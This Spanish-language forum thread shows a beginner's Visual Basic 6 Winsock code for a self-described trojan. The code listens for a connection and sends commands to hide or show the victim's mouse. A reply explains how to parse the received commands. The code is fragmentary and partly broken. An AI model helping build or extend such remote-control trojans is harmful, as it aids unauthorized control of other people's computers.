no se en que ise mal no puede conectarme con mi servidor
el servidor ta bien pero sale error cuando quieromandar un accion como oculatar raton
miren
Private Sub Command1_Click()
On Error Resume Next
ws.LocalPort = Text1.Text
ws.Close
ws.Listen
If ws.State = 2 Then Label1.Caption = "Escuchando"
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error GoTo error
ws.Close
ws.Accept requestID
Label2.Caption = ws.RemoteHostIP
Timer1.Interval = 3000
error:
End Sub
Private Sub Command2_Click()
ws.SendData = "ocultar"
End Sub
Private Sub Command3_Click()
ws.SendData = "mostrar"
End Sub
Private Sub Timer1_Timer()
On Error GoTo error
If Not ws.State = 7 Then
Label1.Caption = "Desconectado"
Else
End If
If ws.State = 7 Then
Label1.Caption = "Conectado"
Else
End If
If Label1.Caption = "Desconectado" Then
Label1.Caption = "Desconectado"
GoTo puente
Else
End If
GoTo error
puente:
ws.Close
ws.Listen
error:
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
que llegan
Dim vtData As String
Winsock1.GetData vtData, vbString
orden = ""
orden = orden & vtData & vbString
End Sub
no se por que no da que le falta ayudenme porfa
ise estoa ayudado pr el manual de troyanos y agregue algunas cosasa de un troyano publicado :-\
Hola viejo tu error a mi entender esta en como recibis la data en el Winsock1_DataArrival ,aca te indico como se debe recibir data :
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
que llegan <---esto no debe ir
Dim vtData As String
Winsock1.GetData vtData, vbString
'traducido :si en los 7 primeros caracteres de tu data (comenzando 'por la izquierda) dice "ocultar"
'entonces realiza la accion
If Left(vtData,7)="ocultar" Then
'codigo "realiza la accion"
End If
End Sub
Espero te sea util ,saludos .-.